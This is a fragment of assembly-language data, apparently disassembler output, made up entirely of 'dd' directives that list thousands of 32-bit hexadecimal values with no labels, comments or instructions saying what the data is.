dd 5B34DB12h, 4584C9E4h, 99432024h, 0A57994E1h, 0B2FE2D1Ah
dd 0D771E4h, 0FAD2EF81h, 10970999h, 26B58D3Bh, 55BCD7Bh
dd 95219D33h, 0E8A8F928h, 0B029FC61h, 25CB96BEh, 185A255Bh
dd 4ACFD929h, 74C8BB56h, 49951009h, 0B95B0F2Ah, 0A6EBB2DAh
dd 0EEAAF029h, 4B5001F8h, 2D6C7037h, 7E3749C7h, 12167E08h
dd 0C5770460h, 5DF61003h, 0D361282Dh, 0DC9BFC5Fh, 0D8D3F80h
dd 82141A32h, 10A157B3h, 0FC052001h, 4E058509h, 3412B8A8h
dd 284DFD02h, 3AD30BBAh, 33D051F5h, 8ED161C2h, 0F0E983D0h
dd 3795F475h, 0C0550296h, 26561BFBh, 5F602547h, 0C21271h
dd 230DE401h, 9B6C16F2h, 31483207h, 3FB875BDh, 819B904Eh
dd 0E724AFC3h, 0BD09C779h, 13397A65h, 0AD140595h, 0BC8E82Fh
dd 7CE203A9h, 0C0FF8585h, 0E5CECBDBh, 0DA52099Fh, 50DE3C58h
dd 188DC2BDh, 0EF08C103h, 199559A5h, 0FF6E2A58h, 40ADE26h
dd 0C12AEFF4h, 228952Ah, 4044F6E9h, 0F8F7DDC0h, 4FC51300h
dd 81F24CB3h, 14660BEBh, 0FB826CFBh, 0F00B12FDh, 3D8E6965h
dd 0F7C18B4Dh, 63F0A943h, 0BD86A010h, 271B4921h, 0E090F6D2h
dd 5D08C80h, 1419FBCEh, 754481EAh, 898D0308h, 0C824E80h
dd 0D81BD03h, 5BE1FF02h, 5E5D7281h, 8CBF0A42h, 1670393h
dd 0CD40A99Dh, 2A43D99Bh, 2E057710h, 0C720EE56h, 160E512Bh
dd 7C220110h, 1799BF05h, 12224AC2h, 34096003h, 48BDB705h
dd 4FC60B00h, 12BDF6AAh, 0EEEC51h, 9548D350h, 9BDF960h
dd 40455603h, 85B434AEh, 0FF587100h, 30ECF368h, 0E1801560h
dd 0CAAC4204h, 52DE4E1Fh, 16AB26C4h, 0FE8B3A80h, 31B52529h
dd 0C90A8440h, 75DD89A1h, 69B3A18h, 8221CC80h, 1F0869C7h
dd 0BD0AE819h, 10568980h, 151AB71Eh, 0FA850C2Eh, 5F164B26h
dd 1159BD05h, 4F7E3AB5h, 1989330Ah, 66B7892Bh, 0A43C2301h
dd 82F8C287h, 0B93125ECh, 2982E6F1h, 51BE585h, 4DFB8151h
dd 505B011Ah, 0DB5C9B38h, 876CDB4Ah, 71F007F4h, 0D466DF80h
dd 5C58C444h, 0D7ECC451h, 42E85B8Dh, 1F03FF22h, 0F98B4060h
dd 299C5F74h, 927C5840h, 0F742006Eh, 0F8078817h, 0C5351083h
dd 878C7B8Bh, 0FA76008Fh, 140ED998h, 0C69F8BE1h, 4D220014h
dd 0B2D835BAh, 9024A25h, 71ECC27Fh, 0A273645Bh, 26DD105h
dd 586056BBh, 3B7014DBh, 5CD9023h, 9DC425ACh, 0C4EEADFAh
dd 97DC07F9h, 74251F1Ch, 9BBC003Ch, 0F241562h, 417A2BB8h
dd 4419CF9Dh, 0D765C030h, 0D984651h, 4A0AB920h, 0E5D32052h
dd 0AB001C4Ch, 5DEA1FE4h, 0C7D8018h, 0F4976CD2h, 2E409D36h
dd 7ABD905Bh, 4BB62B85h, 3E1C704Ah, 0BFBED60Eh, 8724046h
dd 96E96779h, 8090A54Dh, 0BA07CD8Bh, 0B1752AB5h, 362D3510h
dd 236601A0h, 1E017CBDh, 81A72076h, 8E7B93DFh, 9C7F8D9h
dd 305B7518h, 52621D0h, 900B02CBh, 0DFB5802Ch, 0B5358BF8h
dd 0C5E6FE85h, 22BF7AF0h, 8E62EA00h, 0F1C7809Dh, 0CA140DBBh
dd 0C6CC2F92h, 7C5DC942h, 4000DC2Fh, 0F3D9D7D8h, 2774B4BBh
dd 0C9318E9h, 5CFD6087h, 0C405BA72h, 0B2C0D6F8h, 89C182ACh
dd 419D595h, 3727E51Fh, 36560044h, 0D6530C9Bh, 255B2290h
dd 7E65C912h, 0AF1EE81h, 4468900h, 0C34BCD95h, 1E987765h
dd 521E2AC0h, 89C0E975h, 95092434h, 0BB7BA35h, 0FDD9D23h
dd 1AA9325Eh, 1120C928h, 694E9130h, 0B3490701h, 80803850h
dd 16C7A964h, 0C1B6002Fh, 6B88DBCAh, 61E2607Bh, 0EEEAC6B5h
dd 3F58995Bh, 0F37AB0CDh, 405C74C2h, 39B6D77Fh, 85BB0E4Ah
dd 53813022h, 0C800FFF8h, 0DF23E896h, 1A6BD9h, 80847BE1h
dd 78727A29h, 0C4645F4Ch
dd 23511882h, 8DA7E100h, 0BC633085h, 671F5700h, 5B174003h
dd 0D89105D6h, 0BD583C4Eh, 0E67DB898h, 1ADB076Ch, 38399D33h
dd 14897034h, 0EB6E7Eh, 65FB2A1Bh, 2E159502h, 601BCEBDh
dd 0D2C80BDAh, 10D70900h, 0B4686A29h, 0C8504AA9h, 451CF6A9h
dd 0C580B502h, 27C7BB98h, 6B344884h, 0A64E714Ch, 4B6AE028h
dd 90470921h, 0D194F5A8h, 0CD1FFF95h, 26709182h, 0BB52E094h
dd 619B2FBFh, 0F8254737h, 62670091h, 95C7FEE9h, 85E874B3h
dd 90AFF0B9h, 5CA8E71Bh, 0D342FFD8h, 3538275Ch, 0A7E6F74Eh
dd 5CFB23D1h, 4155FB60h, 0DB6E812Fh, 21E958CFh, 0D584EB2Ch
dd 30500122h, 44C1110Ch, 3DC101CCh, 0E6910E8h, 0E24C0987h
dd 0ED5A5803h, 36EBE71Bh, 6408BC36h, 1B2CDC73h, 28295066h
dd 58188121h, 5701139Ah, 0AB841B13h, 14E8E2A8h, 4CF948Ch
dd 0F6093CCFh, 8F96E10Ch, 29E59741h, 3CBEA29h, 4322D82h
dd 78F5B522h, 89EC85EEh, 0BCFB041Fh, 9931AAD1h, 0A95353A5h
dd 71DC1E78h, 32A82417h, 24159010h, 0F508A3FCh, 85310509h
dd 1AD8BDDDh, 76757DB5h, 8C16DC86h, 80307F3Ch, 0EE2DC8BCh
dd 0BB8D05D5h, 0C1F37889h, 24158524h, 0C75B5B57h, 0CDE5221Eh
dd 0BD50E015h, 0C107DF1Bh, 0D0733AD1h, 710E099Bh, 0CEDB1FAEh
dd 41202981h, 0A16FA8AAh, 80E8CD00h, 0D479C5ADh, 0AC1C25BFh
dd 6199EBD9h, 0F4101142h, 0DE003E54h, 0D62D55C2h, 7BC163A3h
dd 113107EDh, 1B616637h, 3BED830Bh, 7D79BCE0h, 3D5E02D1h
dd 0EB5558F7h, 0DB81034Ch, 2F48C161h, 5ACEE4DBh, 5D51DC01h
dd 993C704Dh, 92FC3253h, 29A05AE6h, 0D3A7494h, 0ADBD8C33h
dd 25855927h, 1C5B0F25h, 0E8204AD1h, 1E8F06E3h, 1FC48689h
dd 8362EB9Ch, 89F7C2C2h, 825F56DBh, 51858957h, 415B7249h
dd 2D2050CDh, 161CB8B3h, 4B89136h, 17CAD4B2h, 0F9948BC6h
dd 0F439DEC2h, 0BCB4CD00h, 0B36B80B6h, 84DE17A8h, 0F08FB66Ah
dd 186478h, 81C409E1h, 8529FBA0h, 482E5912h, 0EFC0D797h
dd 0E16E69B5h, 60273026h, 0E0B08171h, 25F480CFh, 0B54E616Fh
dd 930359Dh, 0CF70E95Fh, 0E0B8DC9h, 1F5D7014h, 0B07B313h
dd 526221ABh, 0DE8B4F10h, 115B6048h, 8D172BB9h, 0A248D6E1h
dd 6F142927h, 6B404EDAh, 81DEEF68h, 8E93A4Ch, 4E4831A9h
dd 19742FBAh, 0AB2A00DCh, 0DCE77BFAh, 0F274C10Eh, 66BF5002h
dd 0A9516E54h, 40D85081h, 0CF9C572Fh, 73009747h, 83EDB6h
dd 30470177h, 5FEE6635h, 10B793ACh, 2D7474h, 67D4613Fh
dd 8B29E77Eh, 0FD93DA50h, 0ECC91349h, 2738A4C7h, 8E46870Fh
dd 148DCB12h, 4ABBF6BBh, 0C10C8FEFh, 8C0F3F69h, 0FB6F202Bh
dd 99147DBBh, 2ACE2B09h, 250931Dh, 408A58CEh, 0FB155139h
dd 0C00A9B6Fh, 0BB9ADCB3h, 4B9802ECh, 0C627A5FFh, 5D0D0D3h
dd 0F83E0166h, 0C20D1D80h, 3F8321E2h, 0B1C7E9D3h, 0EA2B16E1h
dd 9529C920h, 35FBC9Dh, 0FFF1AFE9h, 0BCE1B98Dh, 0AC8C071Ch
dd 635352B0h, 8013B4E0h, 61EC320Dh, 7FFC2DD0h, 4CEA2C01h
dd 0AEF8EC1Bh, 313A17EDh, 0E851BF82h, 0A9970E87h, 802DB7C6h
dd 3AA788B7h, 440CBFE9h, 4A3368FCh, 919D2529h, 0CE24DED1h
dd 744C4389h, 0B001DEE6h, 0A4CE838Eh, 0C27A5579h, 5A7430BCh
dd 0C6BB6640h, 0A906744h, 0E007F9FDh, 6138B32Bh, 3B90A2DDh
dd 8910BB9Fh, 770A6C77h, 989DFB70h, 0B0BD4895h, 0B030022Ch
dd 0C79F6096h, 0E4690274h, 0ABA80155h, 0ED302F40h, 0FDF7D94Dh
dd 0F2312FA5h, 423B8E0Fh, 0D1FFF805h, 1A4445C7h, 7A780A60h
dd 0A72B5B09h, 4F12D167h, 93EF2DBCh, 7941F640h, 72024C6Ah
dd 0B00C534Eh, 468A0EE0h, 78DE1C5Fh, 83F2C1EEh, 0F5ABB452h
dd 240C6295h, 66402A61h, 0B3EFEDBFh, 36BB0050h, 8937B262h
dd 32B98D2Ch, 7919E989h, 43DEC2C2h, 4CD35F09h, 25859C58h
dd 0E67FC6A9h, 0B77CB09Dh, 2A997B90h, 0B80CB09Fh, 7BF0001Ah
dd 10747925h, 509CD6Ch, 795FDB0Fh, 0FF53A5FAh, 1C76D270h
dd 437DB27h, 0AE5390F9h, 67EA3535h, 0E1B7714Fh, 15DB2A90h
dd 90CCC09Ch, 81C28527h, 0A1F6CF05h, 0E38120E2h, 283A2F69h
dd 8D34291Ah, 0F2B91BD1h, 8C1BB8h, 0FF77C18Dh, 0CCF8AA31h
dd 7DF1A997h, 0A078FE7Bh, 0A236001Fh, 0EB21C78Ah, 56169D10h
dd 32E98D01h, 0FF6A5F0Bh, 0F9C0C76Dh, 92A5B1Bh, 9D09DCBBh
dd 60049DFAh, 15819533h, 417202EDh, 0DE6E610Dh, 8B952155h
dd 1BA5099Dh, 3E4527ECh, 5F9B041h, 6DA9BF04h, 860AD381h
dd 0A026A4B0h, 0E6011B10h, 65BD0370h, 0C9956F33h, 6D60C630h
dd 413602CCh, 91C3A0B9h, 591FE5Eh, 75BE5B62h, 782D0074h
dd 0CD996C05h, 6509C71Eh, 79F561F2h, 264A2BF1h, 14B90C7Ah
dd 605AC1E3h, 5C2A720h, 0A488000Eh, 0DE3D2F03h, 5D00AC87h
dd 718E4E7Ah, 2EA4293h, 0C63EE81h, 0DEF405D5h, 159D8982h
dd 0C1561A2Ah, 825E2h, 5F53C82Bh, 3109D1F4h, 3B33098Dh
dd 0CBF8FCD9h, 0CE43E681h, 0B3EDD064h, 72EE5B6Bh, 0BD2B28CCh
dd 1C998Fh, 80F38107h, 4668332Eh, 989BE12h, 94E77931h
dd 8C88B21h, 85295685h, 5BF142BFh, 95654CE9h, 0AAB8003Dh
dd 438E7049h, 0B3244BF6h, 9589049Dh, 31AF23A5h, 102984C1h
dd 5F850360h, 0DE7FB409h, 0A5836114h, 5FFE261Fh, 1A17BD08h
dd 74094EF5h, 839C087h, 0F6FDCC25h, 0EE4B4BD6h, 6D898ADBh
dd 335D8B02h, 56EF8120h, 53C0284Bh, 0CC5209Ch, 1232DB9Eh
dd 0A7B293Dh, 94181759h, 1229A80Fh, 4558A0BFh, 0B217B906h
dd 0D1CD951Bh, 77E7C4CFh, 0E3806EBCh, 7A1299DFh, 0E5690D00h
dd 13657289h, 0BE9D00A0h, 9CE78134h, 1F4BC1FAh, 1DBFDC4h
dd 96D910C0h, 9A4EA8CFh, 27E98C11h, 2C37FCh, 0E0165E48h
dd 7F0AC82Eh, 0C92B644Bh, 3DDF8100h, 0B81D34C6h, 57D2271Dh
dd 0ABB39A90h, 25C2D00h, 0B1E75626h, 0D24C1F13h, 7D624265h
dd 27745FCCh, 25BD8978h, 46F716C9h, 661300D6h, 7680CB6Ch
dd 4990EB85h, 4C1B0527h, 26ED9706h, 0F3BC1FE1h, 4B68BFC0h
dd 79CDAAB3h, 9D082520h, 0D6BC2916h, 0E9160BD4h, 8301A86Ah
dd 3A56F1B3h, 0D0B45DC0h, 2B1A9D5Fh, 52ED0043h, 0F42FF283h
dd 1306AFFh, 0FCBF8FFh, 19931E8Eh, 0F497E5E8h, 561CAED9h
dd 1907BD9Fh, 34A0C2D3h, 13136C6Eh, 4E72E99h, 9186D13h
dd 4434D15Bh, 0BF805D79h, 0B9CB81F8h, 36AB1C63h, 8A7B2FB8h
dd 0B82C46D8h, 0D0621DDFh, 0F46A744h, 313797h, 0D1AEDA10h
dd 0BB1243E9h, 789BE1FFh, 4DC9638Fh, 0B4451FD1h, 0D2760CE1h
dd 8A1520E7h, 0D117BE30h, 0D1C86019h, 5C704Bh, 18F744Eh
dd 8889AB2Fh, 8B665905h, 3DF861DFh, 54470927h, 2C04AC38h
dd 0BDC113E0h, 133279C2h, 0A2FC3777h, 37338C5Dh, 0B4B55B29h
dd 6AC46057h, 0F1120A89h, 0B8312D3Fh, 0F423000Fh, 0EECA325Dh
dd 9D5885D8h, 11C910CEh, 0C459C44Bh, 8632AE98h, 903574D9h
dd 0D6ADD251h, 660007A8h, 0D963FBA8h, 739D23F7h, 0DEE49D79h
dd 0AFDD074Ah, 0D1C3385Bh, 0FA8CCBD5h, 2EC5C16h, 398980CFh
dd 0F32F52D1h, 7CA97867h, 6515CD02h, 57A058FCh, 0DED2D582h
dd 8A1DEADCh, 83310F4Eh, 0D0585ADCh, 80B960h, 0BF01B6FBh
dd 73DFA3D5h, 0FC906134h, 9F6A8BB4h, 0CFE020CDh, 5C9956Eh
dd 0DD5469BAh, 55918CA3h, 90C1BC00h, 0AE323942h, 1870FB9h
dd 14008CF7h, 0F54D68CAh, 8B26C300h, 243481FBh, 0DCF631B2h
dd 5471BD12h, 0D615A99Fh
dd 38A089B6h, 9704E303h, 0FC0CC895h, 66CCC5BCh, 0E425E97Eh
dd 0D0717301h, 48D2B4E6h, 0E24BA9E3h, 7F630024h, 7417D3BCh
dd 0D19D2F31h, 0BD5FAB04h, 307A5FB7h, 8D89DA0Bh, 0B35CB392h
dd 0A5897169h, 4C005AE4h, 9FB4662Bh, 1315CBh, 0F862E490h
dd 89569254h, 4559D11h, 128FBC77h, 78F65DFh, 0F4023D3Ah
dd 563EBC38h, 7ED0F198h, 1A206E4h, 53FC3D7Ah, 3ABD9D29h
dd 6696D8D1h, 0F9C64E3Fh, 0E0FAF6F3h, 2914DA3h, 9D0361E5h
dd 635E2B51h, 0DCB456E9h, 61105F00h, 6CC05047h, 5A92489Dh
dd 6801F771h, 0CC7D20A0h, 97CC90h, 84BE666Fh, 0D221EB87h
dd 0D340E725h, 0B240481h, 33DC735Fh, 0D0879F37h, 9FF7E2BBh
dd 1240F1C3h, 0F229A58Ch, 0E06BD228h, 8E1C4100h, 29322277h
dd 34B5E416h, 14C806CFh, 9529F5C1h, 64F14FD6h, 53676015h
dd 0C1F6C9F5h, 53AD7BFEh, 0E76E7067h, 0FC315900h, 0E9C16C64h
dd 6028880Ch, 30745F8h, 0A20F569Eh, 66193EE0h, 8C2226BFh
dd 62FF25F9h, 5A1E5C87h, 8BE1E9CDh, 0E7630DD5h, 405E2A00h
dd 0A0E23F98h, 0C50A9225h, 2D4C1C59h, 90D1465Bh, 1751D26Eh
dd 5E3FE903h, 0E09DA621h, 3995842Eh, 31A5BD89h, 957C5CE7h
dd 0D7023135h, 7F9CFAB2h, 452DDD90h, 993A3700h, 346AED67h
dd 0B4AC0010h, 8996191Dh, 324BFD95h, 501251CEh, 0E827FD04h
dd 0D9C0AD5h, 1ABF5CEBh, 46F95B31h, 0DE250E00h, 1C9817Fh
dd 14745DEEh, 22996D47h, 40BC42Ah, 25D37AFBh, 2532F9A4h
dd 84B388C4h, 1034DD0h, 7836F526h, 638B5896h, 898D4B1Ch
dd 39056E6Ah, 53B8A43Fh, 0FBDE4903h, 0ACB8BC89h, 747BFCC9h
dd 0D649ACh, 564D06CFh, 816058BCh, 50F9CF0h, 179623DCh
dd 67078BB2h, 0B015C4DDh, 0B658C2F3h, 7346F405h, 0FFB3C7BCh
dd 0EA8A5905h, 66F9C061h, 4975FFBBh, 195F90BDh, 43740B22h
dd 460C09D4h, 98989602h, 0FD107D4Fh, 4AB9A4CBh, 9800E1A8h
dd 1BEC0C26h, 413D9D09h, 0B0122B15h, 7A507AE3h, 0DD284B49h
dd 0D4EA3C59h, 299D1259h, 0DAD73FF2h, 0E6F48009h, 31308F3Dh
dd 0F1F8688Dh, 0D33E0701h, 2E06A1AAh, 0EB814C34h, 123C20C2h
dd 0FE6ABBC0h, 8B976FDCh, 801E8155h, 2F08C3h, 6812BF4Bh
dd 9A9769CDh, 226631h, 8F293FA5h, 3EFD426Ch, 0ECCC509h
dd 893F7971h, 0BE76B529h, 0DDCDF5A5h, 25EAD9E5h, 0E04AEF6h
dd 0B8122BBDh, 0DFA68057h, 3D69F162h, 0DA8E0991h, 3500499Ah
dd 0B748CFB6h, 4A0A9402h, 0F05E50B1h, 7512AA5Fh, 39809C37h
dd 0E6B4FFD4h, 0C428507Dh, 0B2314A3Dh, 6DDAD301h, 0EF97ED80h
dd 530535B7h, 96F05B29h, 1F7D61A2h, 0C07B6012h, 0EA1D77BFh
dd 0B301A5D3h, 9C4AD622h, 0FC45078h, 0B31DC8Fh, 3F6D965Fh
dd 0CD367AC3h, 0C99D45C0h, 711E9212h, 2CF828AEh, 0F8C8B3A3h
dd 0CC03B2C9h, 910F1B0Dh, 0B38D88B7h, 9D9897B0h, 10BF781h
dd 0E12B348Bh, 0B8041042h, 0F430A287h, 5500F6F1h, 5D7291D0h
dd 4CBBCE90h, 510E4096h, 0B1D650AFh, 4E4B6C54h, 16C884DAh
dd 678062C1h, 0A210E38h, 0DE13FD09h, 0F61DF4F1h, 9420A58h
dd 0B014F1B5h, 4BF38055h, 3E84DD24h, 7820F9Ah, 6B6069B6h
dd 6080303Dh, 0B705EE09h, 61CE1968h, 2529563Dh, 5B8604DDh
dd 17A290BCh, 2B91E913h, 0BA4ABF00h, 0E63B3925h, 97F9EC9Bh
dd 0BCF87884h, 14A9B44Fh, 0D100DAB8h, 0D074B97Dh, 581C42BFh
dd 580E3569h, 6F32FFF2h, 0DCFF4ADEh, 2909F982h, 7909B99Dh
dd 5818FA6Fh, 0CD048E12h, 0F886E67Fh, 0F75E6CBDh, 7FF5A04Eh
dd 20E4001Eh, 80122F32h, 905EFFE7h, 0ADE002D4h, 49074601h
dd 69FAC95h, 0B91699ABh, 0B795FC5Fh, 394186D7h, 5D13F8F7h
dd 0DD7A4C55h, 0A42F300h, 8FCA7D28h, 76A48B97h, 0A728DC96h
dd 1D5492F3h, 9DA990C4h, 37206A50h, 137F37F0h, 2800720h
dd 0D5784B33h, 0D640E254h, 9057D7h, 17916F98h, 0B4559372h
dd 5FF90417h, 0A3BC26F9h, 80D9FE3Eh, 85C9B6A7h, 966A2534h
dd 1A09DEDDh, 54012F9Eh, 0E96A45D5h, 2ADBCAAh, 32ABA2F1h
dd 6BC6FB38h, 6F61A800h, 2AA481E0h, 2BB2012Eh, 0A2EB8B9Ch
dd 7EDEC52Dh, 556DC7DDh, 540216A8h, 0F2DA7CE0h, 59DD8247h
dd 5E790910h, 80CDB7A7h, 5369F3D3h, 87E2BF9Dh, 6AC5B105h
dd 0FEF6D1FFh, 47E0D5E3h, 0BB02E7B0h, 0F780C67Bh, 51827451h
dd 0FBBB1062h, 4BE604A7h, 0C20B026Ah, 500023C9h, 271189BFh
dd 768B255Ah, 53706A53h, 71270EBCh, 72E5EBCAh, 4E76CAC7h
dd 781DEDAh, 6425B501h, 0B027E983h, 8889450Eh, 0CD495567h
dd 8F6E4005h, 952C3160h, 79A78D41h, 75A00066h, 0D285B7BFh
dd 0A750C404h, 24EEB2F2h, 9C1ABC6h, 43F615Bh, 9BB68427h
dd 0C103C1A4h, 0C4CA898Dh, 0BD231A78h, 0B25E0D41h, 80A735EBh
dd 8FBC7BF9h, 6C010959h, 805C8234h, 4D30F5DFh, 0C1CB12BFh
dd 4EA4A250h, 9512B0h, 0EBDC32C7h, 3F25694Dh, 76D8A900h
dd 6068F7CDh, 615A0953h, 3873905Bh, 0CF4D173h, 0BBB9343Ah
dd 3EC9049Bh, 238FCFD0h, 0DE8BDF61h, 0E6CA743Ah, 5B00A790h
dd 240F6699h, 24F5DEB7h, 0C607DED6h, 0B0EED2B7h, 20D48CF0h
dd 4A41BF82h, 0E0A1AD1Dh, 9D6C2720h, 813AF31h, 1CA1209Dh
dd 10A9B05Dh, 0E6172361h, 8004F870h, 56C01A68h, 71E400C9h
dd 0F6EB81F9h, 424E9178h, 48E8A193h, 0E910212Dh, 0A2C04B26h
dd 5FF2BB66h, 67B382h, 1CF781C1h, 9D73D203h, 0C5607207h
dd 0D320BBFAh, 9D50234Bh, 2CA0A05Dh, 0F0DDF9ADh, 780100CEh
dd 5BE580BBh, 119D6159h, 0AD14078Ah, 0A75F0045h, 8BC82B5Bh
dd 0E2294ED1h, 62894FBCh, 0FBBD7510h, 24C40966h, 0DBF4858Bh
dd 9E65182Fh, 98620A44h, 1AFA7F1h, 6DDBAAF7h, 91103A5Bh
dd 93912AAh, 2B8278ECh, 17394DBDh, 0E1958910h, 8A470B44h
dd 385D4C57h, 0F75B85BDh, 9D0B04E8h, 87E905F9h, 0BF802688h
dd 5937EA0Ch, 0EDA108BBh, 0C9082ABCh, 95A8B22Fh, 3E896A69h
dd 278A50CCh, 844C61CCh, 0BEE73E20h, 48EB0754h, 6A1C238Ch
dd 0C33ADB84h, 0A8389E0Dh, 137ABEEBh, 0B2DBA021h, 656B004Bh
dd 9444F8F2h, 95010B61h, 8BF62FB9h, 40A75C52h, 352C4032h
dd 319F3A00h, 10B95F4Ah, 0D4FBF09h, 20F8DE40h, 6D4605C6h
dd 0A23C4022h, 0C203004Bh, 0BFB5048h, 0A67101CBh, 0B08A95C9h
dd 943360h, 22732C56h, 1E849C16h, 854E53h, 0BE3693A5h
dd 1800559Fh, 8D4C68BBh, 4E5F5B02h, 0BF9580FCh, 743C0B7Dh
dd 0A79BDF2Ah, 0FD18849Ch, 5F0EAF8Ch, 0C29E17B8h, 21FE8CC7h
dd 2EBAF98Ah, 4B71AFCCh, 0D5A4B708h, 70AC0Eh, 0FE50452Ch
dd 923F0868h, 0F972BE98h, 2F4EBD7Ch, 0DA5A918Ah, 5F809E8Eh
dd 0D3BF7162h, 4EAC7128h, 3B879DD0h, 0FE807C9Ah, 0CD317867h
dd 5C4E77E6h, 633D808Dh, 180517B8h, 0F0CE775Ah, 2A8101C1h
dd 0C027FE04h, 0E94186A0h, 12D200D3h, 380BEA25h, 0B700043Ah
dd 50A477B0h, 70B58947h, 3A5B817Dh, 6A4BC02Fh, 5A8F0037h
dd 597A86D4h, 203C5FB3h, 8707AD03h, 1FE54F1Ch, 928F2F87h
dd 1DECAEE0h, 0B5149D41h, 3EE17E70h, 8EC3069Bh, 0B8931152h
dd 69095684h, 0A7ABD39Bh, 36049835h, 0F5C2D32Ch, 85705EBDh
dd 8CE1FFFCh, 66BDC95Dh, 7C3E00A4h, 41EABB98h, 54276065h
dd 0A7F6F95Ah, 5896445Dh, 0DF048C5Bh, 0E87DD12Eh, 0F86FA2BAh
dd 0A6B79D43h, 0EEABDE03h, 9FFF5EFh, 0BEE95D3Eh, 0CA5CDA9Dh
dd 0DC28BF01h, 283A5B8Eh
dd 7FD24BAEh, 0E7B830B9h, 168F7309h, 48C0D127h, 6532D26h
dd 5FE68D70h, 0A492C864h, 0B3B85807h, 1AC0C247h, 78FF4184h
dd 0C7BA009Bh, 5E653F91h, 0B9BC60E9h, 1B3484C9h, 8C90F7E8h
dd 0A222C113h, 0CF9B4AD2h, 0E9662884h, 12512E6h, 747AFEh
dd 8B310E8Ch, 13FD70AEh, 4FCF894h, 0AF1B150Ch, 25BD9228h
dd 10F1230Dh, 51595B69h, 0D87418Bh, 2CD10402h, 0D83B6090h
dd 0C7F8DADDh, 0C2CAD297h, 310FD826h, 897ED5C6h, 0CA067200h
dd 5ABD957Ah, 87905658h, 133965F0h, 0D1B3439h, 4875E063h
dd 73E0A876h, 0E2003823h, 7679B713h, 1FFC78BCh, 9AFE7068h
dd 0C071D03Dh, 0C7874F00h, 0D9A354h, 0D857EFB7h, 0FD047864h
dd 0FA8BF0C6h, 0EB8797DAh, 3D6CB28Fh, 0F00171E6h, 382C95A3h
dd 342F0AA5h, 0B1E70800h, 11D4EEA5h, 2BAE9DEh, 8D48D6BBh
dd 4BBA7423h, 4DE5CDEh, 47B6BD0Dh, 51BCEBAFh, 0E8FEB7C4h
dd 0A8DE4AD1h, 0C604ADC9h, 92CEE86Ch, 78C9FBDBh, 46D67376h
dd 795D001Dh, 9DEFBD7Ch, 860928E3h, 4C9DAEB2h, 0BD09A5B7h
dd 31760141h, 257E5AC8h, 8044500Fh, 0AF967900h, 0A65DC0E7h
dd 1B82096Dh, 3A76468Ah, 1271B58Eh, 82A434ECh, 9C5D1C98h
dd 4B8B7E34h, 0DE2EAC50h, 8FF5DF5Eh, 85BBC442h, 0DE4D491Dh
dd 0D1704B07h, 9F510544h, 0E712F26Ah, 0EE006866h, 22C7859Ah
dd 8AD662h, 0A8E99B3h, 0DBE7900Ch, 8B51F700h, 585F5BFBh
dd 8803EC0Fh, 204EEB80h, 0B7FDC18Dh, 0E194B0B1h, 5F2D682Fh
dd 18E0CFF6h, 81625E8h, 70B6880Fh, 0AC450D27h, 4FD24DA7h
dd 13ABC980h, 212628AEh, 0DE5461h, 5305D971h, 0E24DDA79h
dd 1D347EF5h, 0B9F496BCh, 0C8AA878h, 2A7E60EFh, 134AE560h
dd 3189E9F3h, 0EF6707Eh, 0B76AEEACh, 852C8CECh, 0E9B28D54h
dd 9C31F52h, 0D1F88AD8h, 682CDD75h, 964897D6h, 0DD09BBF8h
dd 7E7C7019h, 0F300DC43h, 0C62914F6h, 9BAC7CDh, 699D8947h
dd 0DAC09155h, 0D8E283Ah, 693FF48Ah, 2EBD1F82h, 0F425FC9Eh
dd 407D4F03h, 0FB3EBBBCh, 5B132925h, 618A129Dh, 6209C5BFh
dd 1A4E7665h, 0DCA44B9Dh, 0DF814073h, 345E0249h, 9F7D32E0h
dd 93804ABDh, 0BFD99B29h, 0ED8C188Bh, 6A99031h, 6B5B5E82h
dd 31B52E1h, 91261060h, 98AE4E0Bh, 315F514Bh, 0D320D5C9h
dd 0E98D1201h, 0D0EAB210h, 3BFDFC5Ah, 0B77433ACh, 7A320FF0h
dd 0A4B59052h, 1DE85BFFh, 0E02DE6D7h, 0DA7B2Fh, 0D7D37CA7h
dd 0FDB589AAh, 3FBB2B8Ah, 29F7011Fh, 4083EE37h, 286595A5h
dd 4EC2B788h, 0C85F9A61h, 78EAC116h, 0CE047E5Ah, 54E8BDB7h
dd 0FACCBBC0h, 0E09C4891h, 0D46756EBh, 532D4000h, 83B0B3C1h
dd 0FBCDB7C2h, 9960DE0h, 234D2085h, 0BB8E8897h, 0B484B116h
dd 66C18FBCh, 3A9FA5BFh, 60BA8235h, 280185C1h, 95316CA0h
dd 9984694Fh, 1BACA6B9h, 0C2AD388Ch, 0B90B5187h, 0CB8140FAh
dd 6D2F4854h, 91D4B575h, 9AB48019h, 4A84D123h, 64CAFD76h
dd 0A694D908h, 0A2D8A04h, 14BCC1EDh, 1DF0B8Ch, 0A35E0D9Dh
dd 9C40B945h, 4BC08160h, 51033BFCh, 8B7052DCh, 2C69D2E8h
dd 61019612h, 3B9DC0E9h, 0A31F0D13h, 0AD34881Dh, 218244C0h
dd 792964Ch, 50537BCCh, 0C012ED7Bh, 4C726641h, 0FCC45769h
dd 907BA5E5h, 59094324h, 0B203D323h, 61F661B2h, 64584D27h
dd 7882601Ch, 92A7B02h, 23A8BE29h, 135405D1h, 0ECDC49AEh
dd 7096D52Eh, 0D9D82C83h, 0FFC5A515h, 0B2EDCA38h, 1112CFECh
dd 0A90495C5h, 800205B1h, 3A5DCBD7h, 93B57FB7h, 8F614800h
dd 0EA26A734h, 55DB31FDh, 111B3568h, 13AA5EFh, 0EDB50148h
dd 84E56928h, 0A7C0DEA1h, 78702A0Eh, 2CECB9h, 0D549C922h
dd 38C01C33h, 0C9B50EB0h, 2C3A5B62h, 9402BF6Ch, 0E95DA614h
dd 264B74CCh, 0E9291265h, 0B6E69695h, 207448A2h, 0B1BD0961h
dd 0BB006F6Ch, 379BC67Ch, 0FC138A50h, 6FBA0489h, 0AF3C0093h
dd 0BB7AD82Dh, 0F1F0C50Ch, 85FAFC0Bh, 0D18D890Fh, 0C0053DFCh
dd 27550185h, 79976A4Eh, 0B872802Ah, 42B1546Dh, 0F064D000h
dd 0C480EC5h, 0D27F61CEh, 2B4C65A9h, 34C0B39Bh, 1A5D0C4Dh
dd 5A132378h, 10A11086h, 0C16E6Bh, 3F71E2F6h, 27EBEA85h
dd 0AEF150A3h, 0AFC1B725h, 8DD1982h, 94B66A04h, 95091060h
dd 0F19722A5h, 79DB6B61h, 588FF958h, 980486BCh, 0BC49F142h
dd 0FFF5C097h, 9740B7D1h, 0B458A5E2h, 12D5ED95h, 25A09B7h
dd 0F6A5FC37h, 96809D2Dh, 0D8414A50h, 495BA7A9h, 88F5970h
dd 48635C1Ch, 0FB30DD09h, 0E9FC82E3h, 4C5E0CEBh, 8465B358h
